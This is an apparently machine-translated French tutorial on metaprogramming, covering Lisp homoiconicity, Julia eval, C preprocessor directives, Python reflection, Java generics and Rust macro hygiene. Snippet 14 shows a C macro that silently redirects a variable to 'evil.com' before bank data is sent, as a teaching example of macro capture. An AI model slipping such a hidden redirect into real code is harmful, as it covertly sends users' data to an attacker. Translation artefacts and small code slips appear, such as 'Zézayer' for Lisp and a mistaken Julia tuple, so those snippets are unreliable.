Code d'écriture de code : une introduction à la théorie et à la pratique de la métaprogrammation moderne

Publié: 2022-07-22

Chaque fois que je réfléchis à la meilleure façon d'expliquer les macros, je me souviens d'un programme Python que j'ai écrit lorsque j'ai commencé à programmer. Je ne pouvais pas l'organiser comme je le voulais. J'ai dû appeler un certain nombre de fonctions légèrement différentes, et le code est devenu lourd. Ce que je cherchais, même si je ne le savais pas à l'époque, c'était la métaprogrammation .

métaprogrammation (nom masculin)

Toute technique par laquelle un programme peut traiter le code comme des données.

Nous pouvons construire un exemple qui illustre les mêmes problèmes que j'ai rencontrés avec mon projet Python en imaginant que nous construisons le back-end d'une application pour les propriétaires d'animaux. En utilisant les outils d'une bibliothèque, pet_sdk , nous écrivons Python pour aider les propriétaires d'animaux à acheter de la nourriture pour chat :

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Extrait 1 : Commander de la nourriture pour chat

Après avoir confirmé que le code fonctionne, nous passons à la mise en œuvre de la même logique pour deux autres types d'animaux de compagnie (oiseaux et chiens). Nous ajoutons également une fonctionnalité pour prendre des rendez-vous chez le vétérinaire :

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Extrait 2 : Commandez de la nourriture pour chats, chiens et oiseaux ; Prendre rendez-vous chez le vétérinaire

Il serait bon de condenser la logique répétitive de Snippet 2 dans une boucle, nous avons donc décidé de réécrire le code. Nous réalisons rapidement que, chaque fonction étant nommée différemment, nous ne pouvons pas déterminer laquelle (par exemple, book_bird_appointment , book_cat_appointment ) appeler dans notre boucle :

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
Extrait 3 : Et maintenant ?

Imaginons une version turbocompressée de Python dans laquelle nous pouvons écrire des programmes qui génèrent automatiquement le code final que nous voulons - une version dans laquelle nous pouvons manipuler notre programme de manière flexible, facile et fluide comme s'il s'agissait d'une liste, de données dans un fichier ou de tout autre type de données commun ou entrée de programme :

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Extrait 4 : TurboPython : un programme imaginaire

Ceci est un exemple de macro , disponible dans des langages tels que Rust, Julia ou C, pour n'en nommer que quelques-uns, mais pas Python.

Ce scénario est un excellent exemple de la façon dont il pourrait être utile d'écrire un programme capable de modifier et de manipuler son propre code. C'est précisément l'attrait des macros, et c'est l'une des nombreuses réponses à une question plus vaste : comment pouvons-nous faire en sorte qu'un programme introspecte son propre code, le traite comme des données, puis agisse sur cette introspection ?

En gros, toutes les techniques qui peuvent accomplir une telle introspection relèvent du terme général de « métaprogrammation ». La métaprogrammation est un sous-domaine riche de la conception des langages de programmation, et elle peut être attribuée à un concept important : le code en tant que données.

Réflexion : À la défense de Python

Vous pourriez souligner que, bien que Python ne fournisse pas de prise en charge des macros, il offre de nombreuses autres façons d'écrire ce code. Par exemple, nous utilisons ici la méthode isinstance() pour identifier la classe dont notre variable animal est une instance et appeler la fonction appropriée :

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
Extrait 5 : un exemple idiomatique

Nous appelons ce type de métaprogrammation réflexion , et nous y reviendrons plus tard. Le code de Snippet 5 est encore un peu lourd mais plus facile à écrire pour un programmeur que celui de Snippet 2, dans lequel nous avons répété la logique pour chaque animal répertorié.

Défi

À l'aide de la méthode getattr , modifiez le code précédent pour appeler dynamiquement les fonctions order_*_food et book_*_appointment appropriées. Cela rend sans doute le code moins lisible, mais si vous connaissez bien Python, cela vaut la peine de réfléchir à la façon dont vous pourriez utiliser getattr au lieu de la fonction isinstance et simplifier le code.


Homoiconicité : l'importance de Lisp

Certains langages de programmation, comme Lisp, portent le concept de métaprogrammation à un autre niveau via l' homoiconicité .

homoiconicité (nom masculin)

Propriété d'un langage de programmation selon laquelle il n'y a pas de distinction entre le code et les données sur lesquelles un programme fonctionne.

Lisp, créé en 1958, est le plus ancien langage homoiconique et le deuxième plus ancien langage de programmation de haut niveau. Tirant son nom de "LISt Processor", Lisp a été une révolution informatique qui a profondément façonné la façon dont les ordinateurs sont utilisés et programmés. Il est difficile d'exagérer à quel point Lisp a fondamentalement et distinctement influencé la programmation.

Emacs est écrit en Lisp, qui est le seul langage informatique qui soit beau. Neal Stephenson

Lisp a été créé un an seulement après FORTRAN, à l'ère des cartes perforées et des ordinateurs militaires qui remplissaient une pièce. Pourtant, les programmeurs utilisent encore Lisp aujourd'hui pour écrire de nouvelles applications modernes. Le principal créateur de Lisp, John McCarthy, était un pionnier dans le domaine de l'IA. Pendant de nombreuses années, Lisp a été le langage de l'IA, les chercheurs appréciant la capacité de réécrire dynamiquement leur propre code. La recherche actuelle sur l'IA est centrée sur les réseaux de neurones et les modèles statistiques complexes, plutôt que sur ce type de code de génération logique. Cependant, les recherches effectuées sur l'IA à l'aide de Lisp - en particulier les recherches effectuées dans les années 60 et 70 au MIT et à Stanford - ont créé le domaine tel que nous le connaissons, et son influence massive se poursuit.

L'avènement de Lisp a exposé pour la première fois les premiers programmeurs aux possibilités de calcul pratiques de choses comme la récursivité, les fonctions d'ordre supérieur et les listes chaînées. Il a également démontré la puissance d'un langage de programmation construit sur les idées du calcul lambda.

Ces notions ont déclenché une explosion dans la conception des langages de programmation et, comme l'a dit Edsger Dijkstra, l'un des plus grands noms de l'informatique, « […] a aidé un certain nombre de nos semblables les plus doués à penser à des pensées auparavant impossibles.

Cet exemple montre un programme Lisp simple (et son équivalent dans la syntaxe Python plus familière) qui définit une fonction "factorielle" qui calcule de manière récursive la factorielle de son entrée et appelle cette fonction avec l'entrée "7":

Zézayer Python
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

Coder en tant que données

En dépit d'être l'une des innovations les plus percutantes et conséquentes de Lisp, l'homoïconicité, contrairement à la récursivité et à de nombreux autres concepts pionniers de Lisp, n'a pas été intégrée à la plupart des langages de programmation actuels.

Le tableau suivant compare les fonctions homoiconiques qui renvoient du code à la fois dans Julia et Lisp. Julia est un langage homoiconique qui, à bien des égards, ressemble aux langages de haut niveau que vous connaissez peut-être (par exemple, Python, Ruby).

L'élément clé de la syntaxe dans chaque exemple est son caractère guillemet . Julia utilise un : (deux-points) pour citer, tandis que Lisp utilise un ' (apostrophe simple) :

Julia Zézayer
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

Dans les deux exemples, la citation à côté de l'expression principale ( (x + 1) ou (+ x 1) ) la transforme du code qui aurait été évalué directement en une expression abstraite que nous pouvons manipuler. La fonction renvoie du code, pas une chaîne ou des données. Si nous devions appeler notre fonction et écrire print(function_that_returns_code()) , Julia imprimerait le code stringifié comme x+1 (et l'équivalent est vrai de Lisp). Inversement, sans le : (ou ' en Lisp), nous obtiendrions une erreur indiquant que x n'a pas été défini.

Revenons à notre exemple de Julia et étendons-le :

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
Extrait 6 : Exemple étendu de Julia

La fonction eval peut être utilisée pour exécuter le code que nous générons ailleurs dans le programme. Notez que la valeur imprimée est basée sur la définition de la variable x . Si nous essayions d' eval notre code généré dans un contexte où x n'était pas défini, nous aurions une erreur.

L'homoiconicité est un type puissant de métaprogrammation, capable de débloquer des paradigmes de programmation nouveaux et complexes dans lesquels les programmes peuvent s'adapter à la volée, générant du code pour s'adapter aux problèmes spécifiques au domaine ou aux nouveaux formats de données rencontrés.

Prenons le cas de WolframAlpha, où le Wolfram Language homo-iconique peut générer du code pour s'adapter à une gamme incroyable de problèmes. Vous pouvez demander à WolframAlpha, "Quel est le PIB de New York divisé par la population d'Andorre?" et, remarquablement, recevoir une réponse logique.

Il semble peu probable que quelqu'un pense à inclure ce calcul obscur et inutile dans une base de données, mais Wolfram utilise la métaprogrammation et un graphe de connaissances ontologique pour écrire du code à la volée pour répondre à cette question.

Il est important de comprendre la flexibilité et la puissance fournies par Lisp et d'autres langages homoiconiques. Avant de plonger plus loin, examinons certaines des options de métaprogrammation à votre disposition :

Définition Exemples Remarques
Homoiconicité Caractéristique du langage dans laquelle le code est une donnée de « première classe ». Puisqu'il n'y a pas de séparation entre le code et les données, les deux peuvent être utilisés de manière interchangeable.
  • Zézayer
  • Prologue
  • Julia
  • Rebol/Rouge
  • Langue Wolfram
Ici, Lisp inclut d'autres langages de la famille Lisp, comme Scheme, Racket et Clojure.
Macros Instruction, fonction ou expression qui prend du code en entrée et renvoie du code en sortie.
  • Les macro_rules! , Derive et macros procédurales
  • Invocations @macro de Julia
  • La defmacro de Lisp
  • C'est #define
(Voir la note suivante sur les macros de C.)
Directives de préprocesseur (ou précompilateur) Un système qui prend un programme en entrée et, en fonction des instructions incluses dans le code, renvoie une version modifiée du programme en sortie.
  • Macros de C
  • Système de préprocesseur # de C++
Les macros de C sont implémentées à l'aide du système de préprocesseur de C, mais les deux sont des concepts distincts.

La principale différence conceptuelle entre les macros C (dans lesquelles nous utilisons la directive de préprocesseur #define ) et d'autres formes de directives de préprocesseur C (par exemple, #if et #ifndef ) est que nous utilisons les macros pour générer du code tout en utilisant d'autres directives non #define directives du préprocesseur pour compiler conditionnellement un autre code. Les deux sont étroitement liés en C et dans certains autres langages, mais ce sont des types de métaprogrammation différents.
Réflexion Capacité d'un programme à examiner, modifier et introspecter son propre code.
  • isinstance , getattr , fonctions de Python
  • Reflect et typeof de JavaScript
  • getDeclaredMethods de Java
  • Hiérarchie des classes System.Type de .NET
La réflexion peut se produire au moment de la compilation ou de l'exécution.
Génériques La possibilité d'écrire du code valide pour un certain nombre de types différents ou pouvant être utilisé dans plusieurs contextes mais stocké au même endroit. Nous pouvons définir les contextes dans lesquels le code est valide de manière explicite ou implicite.

Génériques de style modèle :

  • C++
  • Rouiller
  • Java

Polymorphisme paramétrique :

  • Haskell
  • ML
La programmation générique est un sujet plus large que la métaprogrammation générique, et la frontière entre les deux n'est pas bien définie.

De l'avis de cet auteur, un système de typage paramétrique ne compte comme métaprogrammation que s'il est dans un langage typé statiquement.
Une référence pour la métaprogrammation

Examinons quelques exemples pratiques d'homoiconicité, de macros, de directives de préprocesseur, de réflexion et de génériques écrits dans divers langages de programmation :

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Extrait 7 : Homoiconicité chez Julia
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Extrait 8 : Directives de préprocesseur en C
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Extrait 9 : Réflexion en Python
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Extrait 10 : Génériques en Java
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
Extrait 11 : Macros dans Rust

Les macros (comme celle de Snippet 11) redeviennent populaires dans une nouvelle génération de langages de programmation. Pour réussir à les développer, il faut considérer un sujet clé : l'hygiène.

Macros hygiéniques et non hygiéniques

Qu'est-ce que cela signifie pour le code d'être « hygiénique » ou « non hygiénique » ? Pour clarifier, regardons une macro Rust, instanciée par les macro_rules! fonction. Comme son nom l'indique, macro_rules! génère du code basé sur des règles que nous définissons. Dans ce cas, nous avons nommé notre macro my_macro , et la règle est « Créer la ligne de code let x = $n », où n est notre entrée :

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
Extrait 12 : Hygiène à Rust

Lorsque nous développons notre macro (en exécutant une macro pour remplacer son invocation par le code qu'elle génère), nous nous attendons à obtenir ce qui suit :

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
Extrait 13 : Notre exemple, développé

Apparemment, notre macro a redéfini la variable x égale à 3, nous pouvons donc raisonnablement nous attendre à ce que le programme imprime 3 . En fait, il en imprime 5 ! Surpris? Dans Rust, macro_rules! est hygiénique en ce qui concerne les identifiants, de sorte qu'il ne "capturerait" pas les identifiants en dehors de son champ d'application. Dans ce cas, l'identifiant était x . S'il avait été capturé par la macro, il aurait été égal à 3.

hygiène (nom masculin)

Une propriété garantissant que l'expansion d'une macro ne capturera pas d'identificateurs ou d'autres états au-delà de la portée de la macro. Les macros et systèmes de macros qui ne fournissent pas cette propriété sont appelés non hygiéniques .

L'hygiène dans les macros est un sujet quelque peu controversé parmi les développeurs. Les partisans insistent sur le fait que sans hygiène, il est trop facile de modifier subtilement le comportement de votre code par accident. Imaginez une macro nettement plus complexe que l'extrait 13 utilisé dans un code complexe avec de nombreuses variables et d'autres identifiants. Et si cette macro utilisait l'une des mêmes variables que votre code, et que vous ne l'aviez pas remarqué ?

Il n'est pas rare qu'un développeur utilise une macro d'une bibliothèque externe sans avoir lu le code source. Ceci est particulièrement courant dans les nouveaux langages qui offrent un support macro (par exemple, Rust et Julia) :

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Extrait 14 : Une macro C maléfique

Cette macro non hygiénique en C capture le website de l'identifiant et modifie sa valeur. Bien sûr, la capture d'identifiant n'est pas malveillante. C'est simplement une conséquence accidentelle de l'utilisation de macros.

Donc, les macros hygiéniques sont bonnes et les macros non hygiéniques sont mauvaises, n'est-ce pas ? Malheureusement, ce n'est pas si simple. Il y a de fortes raisons de penser que les macros hygiéniques nous limitent. Parfois, la capture d'identifiant est utile. Revoyons Snippet 2, où nous utilisons pet_sdk pour fournir des services à trois types d'animaux de compagnie. Notre code original commençait comme ceci :

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Extrait 15 : Retour chez le vétérinaire - Rappel du pet sdk

Vous vous souviendrez que Snippet 3 était une tentative de condenser la logique répétitive de Snippet 2 en une boucle inclusive. Mais que se passe-t-il si notre code dépend des identifiants cats et dogs , et que nous voulions écrire quelque chose comme ceci :

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Extrait 16 : Capture d'identifiant utile (en "TurboPython" imaginaire)

L'extrait 16 est un peu simple, bien sûr, mais imaginez un cas où nous voudrions qu'une macro écrive 100% d'une portion de code donnée. Les macros hygiéniques pourraient être limitantes dans un tel cas.

Alors que le macro débat hygiénique contre non hygiénique peut être complexe, la bonne nouvelle est que ce n'est pas un débat sur lequel vous devez prendre position. La langue que vous utilisez détermine si vos macros seront hygiéniques ou non, alors gardez cela à l'esprit lorsque vous utilisez des macros.

Macros modernes

Les macros ont un petit moment maintenant. Pendant longtemps, l'attention des langages de programmation impératifs modernes s'est éloignée des macros en tant qu'élément central de leur fonctionnalité, les évitant au profit d'autres types de métaprogrammation.

Les langages que les nouveaux programmeurs apprenaient dans les écoles (par exemple, Python et Java) leur disaient qu'ils n'avaient besoin que de réflexion et de génériques.

Au fil du temps, à mesure que ces langages modernes sont devenus populaires, les macros ont été associées à une syntaxe intimidante de préprocesseur C et C ++ - si les programmeurs en étaient même conscients.

Avec l'avènement de Rust et Julia, cependant, la tendance est revenue aux macros. Rust et Julia sont deux langages modernes, accessibles et largement utilisés qui ont redéfini et popularisé le concept de macros avec des idées nouvelles et innovantes. C'est particulièrement excitant dans Julia, qui semble sur le point de remplacer Python et R en tant que langage polyvalent facile à utiliser, "piles incluses".

Lorsque nous avons regardé pet_sdk pour la première fois à travers nos lunettes "TurboPython", ce que nous voulions vraiment, c'était quelque chose comme Julia. Réécrivons Snippet 2 dans Julia, en utilisant son homoiconicité et certains des autres outils de métaprogrammation qu'il propose :

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
Extrait 17 : La puissance des macros de Julia : faire en sorte que pet_sdk fonctionne pour nous

Décomposons l'extrait 17 :

  1. Nous parcourons trois tuples. Le premier d'entre eux est ("cat", :clean_litterbox) , donc la variable pet est assignée à "cat" , et la variable care_fn est assignée au symbole :clean_litterbox .
  2. Nous utilisons la fonction Meta.parse pour convertir une chaîne en Expression afin de pouvoir l'évaluer en tant que code. Dans ce cas, nous voulons utiliser la puissance de l'interpolation de chaîne, où nous pouvons mettre une chaîne dans une autre, pour définir quelle fonction appeler.
  3. Nous utilisons la fonction eval pour exécuter le code que nous générons. @eval begin… end est une autre façon d'écrire eval(...) pour éviter de retaper le code. À l'intérieur du bloc @eval se trouve du code que nous générons dynamiquement et que nous exécutons.

Le système de métaprogrammation de Julia nous libère vraiment pour exprimer ce que nous voulons comme nous le voulons. Nous aurions pu utiliser plusieurs autres approches, y compris la réflexion (comme Python dans Snippet 5). Nous aurions également pu écrire une fonction macro qui génère explicitement le code pour un animal spécifique, ou nous aurions pu générer le code entier sous forme de chaîne et utiliser Meta.parse ou toute combinaison de ces méthodes.

Au-delà de Julia : autres systèmes de métaprogrammation modernes

Julia est peut-être l'un des exemples les plus intéressants et les plus convaincants d'un macro-système moderne, mais ce n'est en aucun cas le seul. Rust a également joué un rôle déterminant dans la présentation des macros aux programmeurs.

Dans Rust, les macros sont beaucoup plus centralisées que dans Julia, bien que nous n'explorons pas cela complètement ici. Pour une foule de raisons, vous ne pouvez pas écrire Rust idiomatique sans utiliser de macros. Dans Julia, cependant, vous pouvez choisir d'ignorer complètement l'homo-iconicité et le macro-système.

En conséquence directe de cette centralité, l'écosystème Rust a vraiment adopté les macros. Les membres de la communauté ont construit des bibliothèques incroyablement cool, des preuves de concept et des fonctionnalités avec des macros, y compris des outils qui peuvent sérialiser et désérialiser des données, générer automatiquement du SQL ou même convertir des annotations laissées dans le code vers un autre langage de programmation, le tout généré en code à temps de compilation.

Alors que la métaprogrammation de Julia pourrait être plus expressive et libre, Rust est probablement le meilleur exemple d'un langage moderne qui élève la métaprogrammation, car il est largement présent dans tout le langage.

Un œil vers l'avenir

C'est maintenant un moment incroyable pour s'intéresser aux langages de programmation. Aujourd'hui, je peux écrire une application en C++ et l'exécuter dans un navigateur Web ou écrire une application en JavaScript à exécuter sur un ordinateur de bureau ou un téléphone. Les barrières à l'entrée n'ont jamais été aussi basses et les nouveaux programmeurs ont des informations à portée de main comme jamais auparavant.

Dans ce monde de choix et de liberté des programmeurs, nous avons de plus en plus le privilège d'utiliser des langages riches et modernes, qui sélectionnent des fonctionnalités et des concepts de l'histoire de l'informatique et des langages de programmation antérieurs. C'est excitant de voir les macros ramassées et dépoussiérées dans cette vague de développement. J'ai hâte de voir ce que feront les développeurs de la nouvelle génération lorsque Rust et Julia leur présenteront les macros. N'oubliez pas que le « code en tant que données » est plus qu'un simple slogan. C'est une idéologie fondamentale à garder à l'esprit lorsque l'on discute de la métaprogrammation dans n'importe quelle communauté en ligne ou cadre universitaire.

"Code as data" est plus qu'un simple slogan.

Tweeter

Les 64 ans d'histoire de la métaprogrammation ont fait partie intégrante du développement de la programmation telle que nous la connaissons aujourd'hui. Alors que les innovations et l'histoire que nous avons explorées ne sont qu'un pan de la saga de la métaprogrammation, elles illustrent la puissance et l'utilité robustes de la métaprogrammation moderne.